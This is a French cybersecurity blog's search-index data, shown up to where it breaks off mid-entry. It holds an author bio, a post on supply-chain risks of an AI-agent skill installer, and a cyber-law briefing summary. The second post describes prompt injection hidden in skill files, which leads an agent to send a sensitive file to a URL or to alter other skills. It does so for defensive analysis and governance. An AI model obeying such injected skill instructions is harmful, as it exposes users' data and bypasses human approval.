[{"content":" Clément Appercel, ingénieur cybersécurité junior en reconversion. Profil hybride orienté GRC, Cloud Security et sécurité des infrastructures, avec un intérêt grandissant pour la gouvernance de l\u0026rsquo;IA. 12 ans d\u0026rsquo;expérience en Data \u0026amp; BI dans le secteur bancaire. Master Ingénieur Cybersécurité à l\u0026rsquo;UTT (rentrée septembre 2026). Recherche un stage en cybersécurité début 2027 sur la zone Annecy / Chambéry / Grenoble / Albertville.\nBonjour, je suis Clément 👋 J\u0026rsquo;ai grandi entre les chiffres et la curiosité technique. Après un Master en Audit, Finance et Contrôle de Gestion à l\u0026rsquo;école de commerce de Troyes, j\u0026rsquo;ai commencé ma carrière comme contrôleur de gestion en banque, avant qu\u0026rsquo;une opportunité ne m\u0026rsquo;oriente vers ce qui n\u0026rsquo;avait pas encore vraiment de nom à l\u0026rsquo;époque : data analyst.\nPendant 12 ans, j\u0026rsquo;ai exercé ce métier dans le secteur bancaire. SQL et gestion de bases de données au quotidien, Power BI et DAX pour la restitution, Alteryx pour l\u0026rsquo;industrialisation, gouvernance des données pour l\u0026rsquo;organisation. Chaque année une nouvelle brique, chaque année un nouvel outil. J\u0026rsquo;ai appris à traduire un besoin métier en solution technique, à choisir les bonnes métriques pour piloter un sujet, et à dialoguer aussi bien avec un directeur d\u0026rsquo;agence qu\u0026rsquo;avec un architecte BI. C\u0026rsquo;est ce fil rouge qui me suit aujourd\u0026rsquo;hui en cybersécurité.\nL\u0026rsquo;éveil à la cybersécurité : un cheminement long Mon intérêt pour la sécurité informatique remonte à de nombreuses années. Tout est parti d\u0026rsquo;une simple curiosité, en feuilletant des magazines consacrés à la sécurité informatique et à Linux. J\u0026rsquo;ai toujours posé la même question, en lisant ces articles ou en regardant un système fonctionner : comment ça marche sous le capot ? Le pourquoi et le comment. Pendant des années, c\u0026rsquo;est resté un loisir du soir : un peu de Linux, un peu de réseau, beaucoup de lectures. Une passion patiente, jamais structurée.\nC\u0026rsquo;est en 2025, quand j\u0026rsquo;ai pris la décision de me reconvertir, que j\u0026rsquo;ai changé d\u0026rsquo;approche. J\u0026rsquo;ai commencé à structurer mon apprentissage, à monter un homelab, à enchaîner les projets concrets en autodidacte. Ce qui avait toujours été un loisir patient est devenu un terrain de travail méthodique.\nMa reconversion, depuis 2025 J\u0026rsquo;ai validé en 2026 la formation Administrateur Systèmes, Réseaux et Sécurité chez OpenClassrooms, qui m\u0026rsquo;a apporté les fondamentaux opérationnels qui me manquaient : Active Directory, virtualisation, réseaux d\u0026rsquo;entreprise, durcissement Linux, scripting d\u0026rsquo;administration.\nJ\u0026rsquo;espère passer ma certification ISO 27001 Lead Implementer en juin 2026, puis intégrer le Master Ingénieur Cybersécurité de l\u0026rsquo;Université Technologique de Troyes à la rentrée de septembre 2026. Le stage de fin d\u0026rsquo;études est prévu pour début 2027.\nCe que je vise Je m\u0026rsquo;oriente vers un profil d\u0026rsquo;ingénieur cybersécurité hybride, à la croisée de la GRC (ISO 27001, RGPD, NIS2), du Cloud Security et de la sécurité des réseaux et des infrastructures, avec un intérêt grandissant pour les sujets de gouvernance de l\u0026rsquo;IA (IA Act, AI Security). C\u0026rsquo;est une trajectoire qui m\u0026rsquo;attire parce qu\u0026rsquo;elle combine la rigueur d\u0026rsquo;analyse que j\u0026rsquo;ai construite en banque, la curiosité technique qui m\u0026rsquo;anime depuis longtemps, et les enjeux émergents qui vont structurer la décennie qui vient.\nÀ plus long terme, je pense m\u0026rsquo;orienter vers une trajectoire d\u0026rsquo;Architecte sécurité, mais rien n\u0026rsquo;est figé. J\u0026rsquo;aime autant mettre les mains dans la technique que prendre de la hauteur sur la conception et la gouvernance, et je préfère laisser le terrain affiner ce choix plutôt que de m\u0026rsquo;enfermer dans une étiquette trop tôt.\nCe qui me définit Curieux et autodidacte, d\u0026rsquo;abord. C\u0026rsquo;est la constante de mon parcours : j\u0026rsquo;apprends en faisant, en cassant, en remontant. Chaque outil que j\u0026rsquo;ai utilisé en banque, je l\u0026rsquo;ai appris seul. Chaque techno cyber que je manipule aujourd\u0026rsquo;hui, c\u0026rsquo;est pareil.\nProfil hybride, ensuite. La double culture finance et data me permet d\u0026rsquo;aborder un projet avec une vision business autant qu\u0026rsquo;une vision technique. En cybersécurité, ça change la conversation : on ne parle plus seulement de risque ou de contrôle, on parle aussi de rentabilité de l\u0026rsquo;effort, d\u0026rsquo;arbitrage, de priorisation. Cette capacité de traduction entre le métier et la technique trouve naturellement sa place dans les sujets actuels, en particulier ceux liés à l\u0026rsquo;IA en entreprise.\nPassionné par la technique, enfin. J\u0026rsquo;ai monté un homelab à la maison qui me sert de terrain d\u0026rsquo;expérimentation : virtualisation Proxmox, réseau pfSense avec segmentation VLAN, SIEM Wazuh, Active Directory, environnement Azure, NAS Synology, IA locale Ollama avec serveur MCP, stack de monitoring Prometheus, Grafana, Loki. Chaque brique a été choisie pour apprendre, comprendre, puis sécuriser.\nL\u0026rsquo;objectif de ce blog Ce site est mon journal de bord technique. J\u0026rsquo;y documente mes apprentissages, mes projets pratiques, mes labs, mes lectures et mes galères aussi. De la théorie à la pratique, en assumant le chemin réel : pas la version lissée, mais la version vraie. Si ce que je partage peut servir à quelqu\u0026rsquo;un d\u0026rsquo;autre en reconversion ou en montée en compétences, tant mieux.\nVous y trouverez en particulier des contenus sur la sécurité des infrastructures (homelab, segmentation, SIEM), le cloud Azure (Zero Trust, identité, secure foundation), l\u0026rsquo;IA souveraine (RAG local, gouvernance), et la conformité (ISO 27001, panorama juridique cyber).\n🎯 Recherche actuelle Statut : ingénieur cybersécurité junior en reconversion, en montée en compétences active.\nRecherche : stage de fin d\u0026rsquo;études en cybersécurité, démarrage début 2027, durée 6 mois.\nZone géographique : Annecy / Chambéry / Grenoble / Albertville. Présentiel ou hybride.\nProfils de poste qui m\u0026rsquo;intéressent : analyste GRC, consultant junior conformité, ingénieur sécurité Cloud (Azure), analyste sécurité junior dans une équipe SOC orientée cloud, ou tout poste hybride combinant ces dimensions.\nMe contacter GitHub : Kurgran\nLinkedIn : Clément Appercel\nN\u0026rsquo;hésitez pas à me contacter pour échanger sur la cybersécurité, la data, ou tout simplement partager vos expériences.\n","permalink":"https://appercel-clement.netlify.app/about/","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eClément Appercel\u003c/strong\u003e, ingénieur cybersécurité junior en reconversion. Profil hybride orienté \u003cstrong\u003eGRC, Cloud Security et sécurité des infrastructures\u003c/strong\u003e, avec un intérêt grandissant pour la \u003cstrong\u003egouvernance de l\u0026rsquo;IA\u003c/strong\u003e. 12 ans d\u0026rsquo;expérience en Data \u0026amp; BI dans le secteur bancaire. Master Ingénieur Cybersécurité à l\u0026rsquo;UTT (rentrée septembre 2026). Recherche un \u003cstrong\u003estage en cybersécurité début 2027\u003c/strong\u003e sur la zone Annecy / Chambéry / Grenoble / Albertville.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"bonjour-je-suis-clément-\"\u003eBonjour, je suis Clément 👋\u003c/h2\u003e\n\u003cp\u003eJ\u0026rsquo;ai grandi entre les chiffres et la curiosité technique. Après un Master en Audit, Finance et Contrôle de Gestion à l\u0026rsquo;école de commerce de Troyes, j\u0026rsquo;ai commencé ma carrière comme contrôleur de gestion en banque, avant qu\u0026rsquo;une opportunité ne m\u0026rsquo;oriente vers ce qui n\u0026rsquo;avait pas encore vraiment de nom à l\u0026rsquo;époque : data analyst.\u003c/p\u003e","title":"À propos"},{"content":"Un skill qui en télécharge d\u0026rsquo;autres : ce que j\u0026rsquo;ai vu sous le capot Avant d\u0026rsquo;entrer dans le sujet, deux mots pour cadrer. Je ne suis pas expert AI security. Je suis en reconversion cybersécurité et j\u0026rsquo;apprends, donc ce qui suit est mon avis du moment, pas une analyse de référence.\nPetite précision aussi : je prépare en ce moment la certification ISO 27001 Lead Implementer, donc ce genre de cas concret m\u0026rsquo;aide à mobiliser les normes que je rencontre dans le cursus. C\u0026rsquo;est pour ça que je cite ISO 27001, NIS2 et l\u0026rsquo;IA Act un peu plus loin. Ce n\u0026rsquo;est pas un placage de jargon, c\u0026rsquo;est ma manière de faire travailler ce que j\u0026rsquo;apprends sur un sujet d\u0026rsquo;actualité.\nCe qui me motive ici, c\u0026rsquo;est un réflexe que je traîne partout : me poser les questions \u0026ldquo;mais pourquoi ?\u0026rdquo; et \u0026ldquo;comment ça fonctionne ?\u0026rdquo;. J\u0026rsquo;essaie de l\u0026rsquo;appliquer au maximum à ce que je touche, en tech comme ailleurs. Avec l\u0026rsquo;engouement actuel pour l\u0026rsquo;IA, je vois beaucoup de monde télécharger des skills et brancher des MCP sans vraiment regarder ce qu\u0026rsquo;il y a sous le capot. Et ça me gêne, parce que ma manière naturelle d\u0026rsquo;aborder les sujets techniques c\u0026rsquo;est le security by design : la sécurité comme premier réflexe, pas comme couche ajoutée à la fin.\nLe cas que je vais décrire est un exemple intéressant. Un simple skill, en apparence anodin, qui pose vite des questions de supply chain et de gouvernance en entreprise. Si tu vois quelque chose à corriger ou à compléter, j\u0026rsquo;écoute volontiers.\nLe contexte Je suis tombé sur un fichier SKILL.md publié par Vercel. Il s\u0026rsquo;appelle find-skills. Sa promesse : quand l\u0026rsquo;utilisateur demande à son agent IA \u0026ldquo;tu sais faire X ?\u0026rdquo;, l\u0026rsquo;agent va chercher dans un registre public si un skill correspond, puis l\u0026rsquo;installe.\nC\u0026rsquo;est élégant sur le papier. Un npm pour les skills d\u0026rsquo;agents. Une démocratisation de l\u0026rsquo;extension d\u0026rsquo;agents IA. Sauf que quand j\u0026rsquo;ai regardé ce qui se passait vraiment derrière, plusieurs choses m\u0026rsquo;ont gêné. Je voulais poser ça à l\u0026rsquo;écrit.\nD\u0026rsquo;abord, c\u0026rsquo;est quoi un skill, et c\u0026rsquo;est quoi un MCP J\u0026rsquo;ai eu la question posée en ces termes : \u0026ldquo;c\u0026rsquo;est un skill ou il y a du MCP derrière ?\u0026rdquo;. Bonne question, parce que les deux sont souvent confondus.\nUn skill est un fichier markdown. Du texte. Avec un frontmatter qui donne un nom et une description, et des sections qui expliquent à l\u0026rsquo;agent IA \u0026ldquo;quand utiliser ce skill\u0026rdquo; et \u0026ldquo;comment l\u0026rsquo;utiliser\u0026rdquo;. L\u0026rsquo;agent lit ce texte comme un humain lit une fiche réflexe. Il en déduit quoi faire. Pas de processus qui tourne, pas d\u0026rsquo;API, pas d\u0026rsquo;exécution autonome. Juste du contenu qui guide.\nUn MCP server est tout autre chose. C\u0026rsquo;est un vrai processus, qui tourne en local ou en remote, et qui expose des fonctions (appelées \u0026ldquo;tools\u0026rdquo;) via un protocole standardisé (JSON-RPC). L\u0026rsquo;agent appelle ces fonctions avec des arguments typés et reçoit des retours structurés. C\u0026rsquo;est une interface programmatique. Avec un schema. Avec des contrats.\nLa différence est importante pour le modèle de menace. Sur un MCP, on peut imaginer du sandboxing, une validation d\u0026rsquo;arguments, des permissions par tool. Sur un skill, on a du texte qui dit à l\u0026rsquo;agent \u0026ldquo;lance cette commande shell\u0026rdquo;. L\u0026rsquo;agent l\u0026rsquo;exécute via son outil bash standard. Pas de sandbox protocole, pas de typage.\nfind-skills est un skill. Et c\u0026rsquo;est précisément ce skill qui est l\u0026rsquo;objet d\u0026rsquo;étude ici.\nCe que fait vraiment ce skill Quand l\u0026rsquo;utilisateur demande quelque chose qui ressemble à \u0026ldquo;tu peux faire X ?\u0026rdquo;, le SKILL.md dit à l\u0026rsquo;agent de :\nConsulter le leaderboard sur skills.sh pour voir si un skill connu couvre la demande Lancer npx skills find \u0026lt;query\u0026gt; pour chercher dans le registre Vérifier la \u0026ldquo;qualité\u0026rdquo; du candidat : install count, source, étoiles GitHub Proposer à l\u0026rsquo;utilisateur Installer avec npx skills add \u0026lt;owner/repo@skill\u0026gt; -g -y Le flag -g installe au niveau utilisateur global. Le flag -y skippe la confirmation interactive.\nC\u0026rsquo;est cette dernière ligne qui m\u0026rsquo;a fait tiquer. Je vais revenir dessus.\nCinq maillons, et un flag qui pose problème Cartographions la chaîne de confiance, parce que c\u0026rsquo;est elle qui compte quand on parle supply chain :\nMaillon Ce qu\u0026rsquo;il est Qui le contrôle 1. L\u0026rsquo;agent (Claude, autre) Le modèle qui lit et applique Anthropic 2. Le SKILL.md find-skills Le texte qui guide l\u0026rsquo;agent vercel-labs 3. Le CLI skills (npm) Le package qui télécharge et installe Vercel 4. Le registre skills.sh L\u0026rsquo;index des skills disponibles Vercel (à confirmer pour la gouvernance) 5. Le repo GitHub du skill cible Le code réel qui finit sur le poste N\u0026rsquo;importe qui sur GitHub Cinq maillons. Chacun avec son modèle de menace. Et au bout, du code qui s\u0026rsquo;installe sur le poste de l\u0026rsquo;utilisateur, au niveau global, sans confirmation interactive si on suit la recommandation du SKILL.md.\nLe -y me dérange particulièrement. C\u0026rsquo;est le seul moment où l\u0026rsquo;humain a une chance d\u0026rsquo;arrêter une installation douteuse. C\u0026rsquo;est sa dernière friction. La supprimer, c\u0026rsquo;est basculer de \u0026ldquo;semi-autonome\u0026rdquo; à \u0026ldquo;full autonome\u0026rdquo; sur une action qui installe du code tiers. Sur un cas d\u0026rsquo;usage à fort coût d\u0026rsquo;erreur (sécurité), on devrait faire l\u0026rsquo;inverse : ajouter de la friction, pas en retirer.\nLà où ça peut être vérolé Plusieurs angles d\u0026rsquo;attaque, classés par ordre de probabilité subjective.\nLe repo cible compromis. N\u0026rsquo;importe quel owner GitHub peut publier un skill et le faire référencer. Le SKILL.md lui-même est inerte (du markdown), mais rien n\u0026rsquo;interdit d\u0026rsquo;embarquer des fichiers exécutables, des hooks postinstall npm qui s\u0026rsquo;exécutent automatiquement à l\u0026rsquo;installation, ou tout simplement des instructions dans le SKILL.md qui poussent l\u0026rsquo;agent à exécuter des commandes douteuses sous prétexte de \u0026ldquo;faire son job\u0026rdquo;. C\u0026rsquo;est de la prompt injection appliquée à un skill, et c\u0026rsquo;est un sujet en soi.\nCompromission d\u0026rsquo;un mainteneur populaire. On a déjà vu ce film. En mars 2024, le projet xz-utils, une bibliothèque de compression utilisée massivement par OpenSSH, s\u0026rsquo;est révélé compromis par un mainteneur unique qui avait construit sa crédibilité pendant trois ans avant d\u0026rsquo;injecter une backdoor. Découverte par accident par un ingénieur Microsoft qui avait remarqué une latence anormale sur SSH. Si ça arrive sur une lib aussi exposée, ça peut arriver sur un skill populaire. Et la popularité ne protège pas. Elle aggrave l\u0026rsquo;impact.\nTyposquatting. Standard sur npm et pip. vercel-lab/skills au lieu de vercel-labs/skills. L\u0026rsquo;utilisateur lit une réponse plausible, l\u0026rsquo;agent installe, personne ne remarque.\nLe registre skills.sh comme point de centralisation. Compromettre le registre, c\u0026rsquo;est manipuler les résultats de recherche de tous les agents qui l\u0026rsquo;utilisent. Pas besoin de compromettre 1000 repos.\nHeuristiques sociales prises pour des contrôles. Le SKILL.md recommande de vérifier install count et stars GitHub. C\u0026rsquo;est mieux que rien. Mais ça reste de la popularité, pas de la fiabilité. xz-utils était populaire. Event-stream, ua-parser-js, node-ipc, ctx : tous populaires au moment de leur compromission.\nAucune de ces attaques n\u0026rsquo;est théorique. Toutes ont des précédents documentés sur des écosystèmes voisins.\nOn a déjà vu le film côté supply chain logicielle Les écosystèmes npm, pip, Docker Hub, extensions navigateur, tous ont vécu leurs incidents. Et tous ont fini par mettre en place les mêmes types de contre-mesures :\nRegistry privé ou proxy interne (Artifactory, Nexus, Verdaccio côté npm) Scan de sécurité automatisé (Snyk, Trivy, Grype, pip-audit) Signature des paquets (Sigstore, Cosign, Notary) Lockfile et pinning de versions 2FA obligatoire sur les comptes mainteneurs SBOM (Software Bill of Materials) Aucune de ces contre-mesures n\u0026rsquo;est mature dans l\u0026rsquo;écosystème des skills agents IA aujourd\u0026rsquo;hui. C\u0026rsquo;est jeune. Et c\u0026rsquo;est précisément parce que c\u0026rsquo;est jeune qu\u0026rsquo;on a une fenêtre pour ne pas refaire les mêmes erreurs.\nCe qui change avec les skills, par rapport au cas npm classique :\nLe vecteur d\u0026rsquo;exécution n\u0026rsquo;est plus un développeur humain qui lance npm install. C\u0026rsquo;est un agent IA qui chaîne find puis add -y en quelques secondes, sans pause de réflexion. La vélocité de l\u0026rsquo;IA, qui est par ailleurs un atout, devient ici un facteur aggravant. Un humain peut s\u0026rsquo;arrêter, ouvrir le repo dans son navigateur, lire le code. Un agent qui veut \u0026ldquo;être utile\u0026rdquo; et \u0026ldquo;ne pas faire attendre\u0026rdquo; est mal placé pour faire ça.\nEt puis il y a la couche prompt injection. Un skill peut contenir des instructions qui ne sont pas du code malveillant au sens classique, mais qui détournent l\u0026rsquo;agent. Par exemple en lui demandant d\u0026rsquo;envoyer un fichier sensible vers une URL, ou de modifier un autre skill déjà installé. C\u0026rsquo;est une surface d\u0026rsquo;attaque nouvelle, qui n\u0026rsquo;existait pas sur npm.\nQuand on fait de la GRC, ça change quoi C\u0026rsquo;est l\u0026rsquo;angle qui me parle le plus dans ma trajectoire actuelle, donc je le développe.\nSi demain je suis dans une PME ou un ETI sous obligation NIS2, qu\u0026rsquo;un développeur ou un consultant arrive avec un agent IA équipé de find-skills et installe du code tiers en mode -y sur un poste qui a accès au SI, on a un problème de cartographie d\u0026rsquo;actifs (article 21 §2(d) de NIS2 sur la sécurité de la chaîne d\u0026rsquo;approvisionnement), un problème ISO 27001 sur les relations fournisseurs (A.5.19 et A.5.21), et potentiellement un problème IA Act si on est sur un cas d\u0026rsquo;usage à haut risque (article 14 sur la supervision humaine, et un -y automatique va à l\u0026rsquo;encontre du principe).\nConcrètement, ce qu\u0026rsquo;un Architecte sécurité ou un consultant GRC peut poser comme contrôles minimum :\nD\u0026rsquo;abord une allowlist d\u0026rsquo;origines approuvées. Pas tout GitHub : des sources nommées. Ensuite une procédure de revue pour décider de ce qui rentre dans cette allowlist : qui lit le SKILL.md, qui inspecte le repo, qui tranche. L\u0026rsquo;interdiction du flag -y dans les procédures opérationnelles fait partie du minimum syndical. La journalisation des installations aussi, parce qu\u0026rsquo;un audit ISO 27001 va le demander : qui, quoi, quand, sur quel poste. Et le rattachement à la gestion des fournisseurs (A.5.19) et à la gestion des changements (A.8.32), pour ne pas réinventer un processus parallèle. Sur les structures plus grandes, on monte d\u0026rsquo;un cran avec un registry interne qui mirror les skills approuvés, dans la même logique qu\u0026rsquo;un Artifactory pour npm.\nRien de tout ça n\u0026rsquo;est révolutionnaire. Ce sont les bons vieux contrôles supply chain, appliqués à un nouvel objet. C\u0026rsquo;est même un peu rassurant : on n\u0026rsquo;invente pas une nouvelle discipline, on étend une discipline existante à un nouveau périmètre.\nCe que j\u0026rsquo;en retiens Je ne pense pas que find-skills soit malveillant. Vercel est un acteur sérieux, l\u0026rsquo;idée d\u0026rsquo;un écosystème ouvert de skills est plutôt saine, et le SKILL.md lui-même est bien écrit. Mon problème n\u0026rsquo;est pas avec ce skill précis. Mon problème est avec le pattern qu\u0026rsquo;il généralise : un agent IA qui télécharge dynamiquement du code tiers, sans audit centralisé, avec une heuristique sociale en guise de contrôle qualité, et un flag par défaut qui supprime la dernière friction humaine.\nSur mon homelab, je peux jouer avec, à condition de retirer le -y et de regarder ce que j\u0026rsquo;installe. Sur un poste pro, je ne pousserais pas ce pattern sans cadre de gouvernance autour. Pas par paranoïa, par hygiène professionnelle. La supply chain logicielle a saigné assez de fois sur les autres écosystèmes pour qu\u0026rsquo;on prenne au sérieux les premiers symptômes sur celui-là.\nLe sujet plus large, c\u0026rsquo;est que la sécurité des agents IA ne se réduit pas au modèle. Elle inclut le harness : les skills, les MCP, les outils, les permissions, les chaînes d\u0026rsquo;approvisionnement de tout ça. C\u0026rsquo;est un terrain qui se structure en ce moment. Pour qui s\u0026rsquo;oriente vers la GRC ou la Cloud Security à l\u0026rsquo;ère de l\u0026rsquo;IA agentique, c\u0026rsquo;est un sujet à suivre. Pas demain. Maintenant.\nJ\u0026rsquo;aurais aimé conclure avec un point net et synthétique. Mais honnêtement, je trouve qu\u0026rsquo;on est encore dans la phase où il faut poser les questions plutôt que donner les réponses. Comment on signe un skill ? Qui audite le registre ? Quelle norme couvre spécifiquement la chaîne d\u0026rsquo;approvisionnement des composants IA agentiques ? Est-ce que le NIS2 actuel suffit ou faut-il un cadre dédié ? Je n\u0026rsquo;ai pas la réponse. Je sais juste que quand un skill propose à un agent d\u0026rsquo;en installer d\u0026rsquo;autres avec -y, ça vaut le coup d\u0026rsquo;ouvrir le capot avant de cliquer.\nSi tu veux creuser, les sources : le SKILL.md de vercel-labs/find-skills, le registre skills.sh, et pour la partie supply chain logicielle classique, l\u0026rsquo;article Wikipedia sur la backdoor xz-utils est une bonne porte d\u0026rsquo;entrée.\n","permalink":"https://appercel-clement.netlify.app/posts/analyse-skill-find-skills-supply-chain-ia/","summary":"\u003ch1 id=\"un-skill-qui-en-télécharge-dautres--ce-que-jai-vu-sous-le-capot\"\u003eUn skill qui en télécharge d\u0026rsquo;autres : ce que j\u0026rsquo;ai vu sous le capot\u003c/h1\u003e\n\u003cp\u003eAvant d\u0026rsquo;entrer dans le sujet, deux mots pour cadrer. Je ne suis pas expert AI security. Je suis en reconversion cybersécurité et j\u0026rsquo;apprends, donc ce qui suit est mon avis du moment, pas une analyse de référence.\u003c/p\u003e\n\u003cp\u003ePetite précision aussi : je prépare en ce moment la certification ISO 27001 Lead Implementer, donc ce genre de cas concret m\u0026rsquo;aide à mobiliser les normes que je rencontre dans le cursus. C\u0026rsquo;est pour ça que je cite ISO 27001, NIS2 et l\u0026rsquo;IA Act un peu plus loin. Ce n\u0026rsquo;est pas un placage de jargon, c\u0026rsquo;est ma manière de faire travailler ce que j\u0026rsquo;apprends sur un sujet d\u0026rsquo;actualité.\u003c/p\u003e","title":"Un skill qui en télécharge d'autres : ce que j'ai vu sous le capot"},{"content":"Panorama juridique cyber 2026, ce que j\u0026rsquo;en ai retenu en tant qu\u0026rsquo;étudiant Disclaimer. Je ne suis ni juriste ni avocat. Ce qui suit, c\u0026rsquo;est ce que j\u0026rsquo;ai pu saisir d\u0026rsquo;un événement du CLUSIR sur l\u0026rsquo;évolution du cadre juridique en cybersécurité. J\u0026rsquo;y suis allé par pure découverte et intérêt intellectuel, sans aucune expertise dans le domaine. Mais connaître le sujet, ne serait-ce qu\u0026rsquo;à titre de veille intellectuelle, ça me paraît important pour quelqu\u0026rsquo;un qui se forme dans ce secteur.\nJ\u0026rsquo;ai assisté en visio à une session de veille juridique organisée par le CLUSIR ARA, l\u0026rsquo;association régionale de cybersécurité en Auvergne-Rhône-Alpes. Une bonne heure animée par deux juristes, à dérouler l\u0026rsquo;état du paysage réglementaire cyber en 2026. Chaque texte, chaque sanction, chaque échéance.\nJe n\u0026rsquo;ai pas tout suivi. Certains passages sur les Omnibus européens m\u0026rsquo;ont franchement perdu. Il faudra que je relise tranquillement. Mais d\u0026rsquo;autres parties m\u0026rsquo;ont accroché, et ce sont celles-là que je veux poser ici, autant pour moi que pour quiconque tomberait sur l\u0026rsquo;article.\nNIS2 : toujours pas transposée, mais le train avance quand même C\u0026rsquo;est le point qui m\u0026rsquo;a le plus accroché. La directive NIS2 est censée être transposée en droit français depuis fin 2024. On est en mai 2026, et le texte est toujours bloqué quelque part entre le Sénat et l\u0026rsquo;Assemblée. Le projet de loi a été adopté en première lecture au Sénat en mars 2025, et il est attendu à l\u0026rsquo;Assemblée nationale, \u0026ldquo;peut-être en juillet 2026\u0026rdquo; selon les intervenants, avec des guillemets implicites bien audibles.\nCe qui bloque, c\u0026rsquo;est un amendement intégré au Sénat sur des questions de backdoor. Je n\u0026rsquo;ai pas saisi tous les détails parlementaires et je ne vais pas faire semblant.\nCe qui est plus intéressant pour quelqu\u0026rsquo;un comme moi, c\u0026rsquo;est que l\u0026rsquo;ANSSI n\u0026rsquo;a pas attendu la loi. Elle a publié en mars 2026 le référentiel RECIF, qui structure les objectifs de sécurité pour les futures entités essentielles et importantes autour de quatre axes : gouvernance, protection, défense, résilience. Officiellement le RECIF n\u0026rsquo;est pas désigné comme le texte de référence pour NIS2, puisque la loi n\u0026rsquo;existe pas encore. Mais en off, personne ne s\u0026rsquo;en cache. Ce sera lui.\nUn point que j\u0026rsquo;ai noté dans ma session du soir, c\u0026rsquo;est que le RECIF place explicitement la définition du cadre de gouvernance sous la responsabilité du dirigeant exécutif. Quand on s\u0026rsquo;intéresse à la GRC, c\u0026rsquo;est exactement le genre de levier dont un RSSI a besoin pour faire remonter les sujets au comité de direction. Un texte sur la table, ça change la conversation.\nAutre changement, qui vient cette fois du paquet Omnibus européen : le seuil de qualification en entité essentielle est rehaussé. En dessous de 750 salariés, on sera désormais au maximum entité importante. Ça réduit le périmètre des obligations les plus lourdes pour une bonne partie des entreprises. Sur le papier c\u0026rsquo;est de la simplification. Dans la pratique j\u0026rsquo;ai cru comprendre que les juristes étaient mitigés sur l\u0026rsquo;allègement réel, mais là encore je ne vais pas trancher.\nLes sanctions CNIL, deux cas qui parlent même à un débutant Cette partie m\u0026rsquo;a sorti de la fatigue. On était enfin sur du concret, du nominatif, avec des chiffres et des noms.\nFree Mobile, 42 millions d\u0026rsquo;euros, en janvier 2026. Fuite de données abonnés incluant des IBAN. Parmi les manquements retenus par la CNIL, un VPN insuffisamment sécurisé, et une information aux personnes concernées jugée incomplète lors de la notification de la violation. Ce deuxième point m\u0026rsquo;a frappé. Ce n\u0026rsquo;est pas seulement l\u0026rsquo;incident qui est sanctionné, c\u0026rsquo;est aussi la façon dont il a été géré et communiqué après coup. Je n\u0026rsquo;avais pas réalisé que la qualité de la notification pesait autant dans la sanction.\nFrance Travail, 5 millions d\u0026rsquo;euros pour un manquement à la sécurité des données. Le détail qui a fait réagir tout le monde pendant la session, c\u0026rsquo;est un seuil de 50 tentatives d\u0026rsquo;authentification avant blocage du compte. Cinquante. Je l\u0026rsquo;écris en toutes lettres parce que je n\u0026rsquo;arrive toujours pas à le croire. C\u0026rsquo;est le genre de paramètre qu\u0026rsquo;on règle dans une stratégie de mot de passe en cinq secondes sur un Active Directory de base.\nCe que je retiens, c\u0026rsquo;est que les manquements sanctionnés ne sont pas forcément des attaques sophistiquées ou des architectures exotiques. Un VPN mal configuré, une politique de verrouillage absente, ce sont des points de contrôle basiques que n\u0026rsquo;importe quel technicien peut adresser dans son périmètre. Et quand on parle de 5 ou 42 millions d\u0026rsquo;euros, ces \u0026ldquo;détails\u0026rdquo; n\u0026rsquo;en sont plus.\nL\u0026rsquo;ANSSI, beaucoup de publications, des signaux à capter Les intervenants ont déroulé les publications de l\u0026rsquo;ANSSI sur la période 2025-début 2026. Il y en a beaucoup. Trois mots-clés ressortaient selon eux : chiffrement, durcissement, et un effort net de vulgarisation avec une série de documents appelés les essentiels, des synthèses courtes de bonnes pratiques.\nDeux publications mentionnées qui m\u0026rsquo;intéressent particulièrement :\nUn document conjoint ANSSI / BSI (l\u0026rsquo;homologue allemand) sur des critères de souveraineté du cloud, paru fin 2025. Le sujet de la souveraineté cloud revient partout en ce moment, et avoir un document franco-allemand sur les critères, ça me semble utile à connaître. Un document sur le SBOM (Software Bill of Materials, la liste des composants logiciels) dans une perspective cybersécurité. La sécurité de la chaîne logicielle, je commence à comprendre que c\u0026rsquo;est un sujet beaucoup plus large que ce que je pensais. Plus largement, un angle qui a émergé pendant la session m\u0026rsquo;a marqué. La prise en compte des risques non techniques dans la chaîne d\u0026rsquo;approvisionnement TIC. Les risques géopolitiques, les dépendances à des fournisseurs basés dans certains pays tiers. C\u0026rsquo;est intégré dans le paquet Cybersecurity Act 2 au niveau européen, avec un mécanisme d\u0026rsquo;évaluation pour les entités essentielles et importantes, et la possibilité de désigner certains fournisseurs ou pays comme à haut risque. Quelqu\u0026rsquo;un a posé la question des États-Unis. La réponse a été prudente, sans nier que ça pouvait concerner d\u0026rsquo;autres pays que ceux qu\u0026rsquo;on a en tête en premier.\nCe que j\u0026rsquo;en retiens Je ne vais pas prétendre avoir tout digéré. La partie sur les obligations de notification, qui doit notifier quoi, à qui, dans quel délai, selon quel texte, m\u0026rsquo;a échappé sur plusieurs passages. J\u0026rsquo;ai compris que c\u0026rsquo;était complexe, que ça allait se simplifier en partie avec un guichet unique européen, et que même les juristes présents reconnaissaient qu\u0026rsquo;il manquait des réponses claires sur certains points. Quand les experts disent \u0026ldquo;on ne sait pas encore\u0026rdquo;, ce n\u0026rsquo;est jamais bon signe pour les praticiens.\nCe qui reste solide dans ma tête après la session : NIS2 va finir par arriver, le RECIF est là et structure le terrain, les entités potentiellement concernées ont intérêt à se positionner. Les sanctions CNIL sur la sécurité des données portent souvent sur des manquements techniques basiques, pas sur des sujets de haute voltige. L\u0026rsquo;ANSSI publie des ressources accessibles que je n\u0026rsquo;exploite pas assez aujourd\u0026rsquo;hui.\nPour quelqu\u0026rsquo;un comme moi qui vise une orientation GRC et sécurité cloud, ce type de veille a un intérêt direct, même sans formation juridique. Le contexte réglementaire fait partie du décor dans lequel les RSSI travaillent. Connaître les grandes lignes et les sanctions récentes, c\u0026rsquo;est se donner du vocabulaire et des repères. Je ne deviendrai pas juriste, et ce n\u0026rsquo;est pas le but. Mais rester complètement à côté de ce paysage me semble difficilement défendable quand on prétend travailler dans la cyber.\nJ\u0026rsquo;y retournerai. Probablement aux prochaines sessions du CLUSIR, qui mettent à disposition ce genre de veille gratuitement. Et ça, ça mérite d\u0026rsquo;être dit.\nSession de veille animée par les juristes du CLUSIR ARA, mai 2026. Les textes mentionnés (RECIF, NIS2, CRA, AI Act, RGPD) sont accessibles sur les sites de l\u0026rsquo;ANSSI, de l\u0026rsquo;EUR-Lex et de la CNIL. Cet article est une synthèse personnelle à des fins de veille, pas un conseil juridique.\n","permalink":"https://appercel-clement.netlify.app/posts/panorama-juridique-cyber-2026-clusir/","summary":"\u003ch1 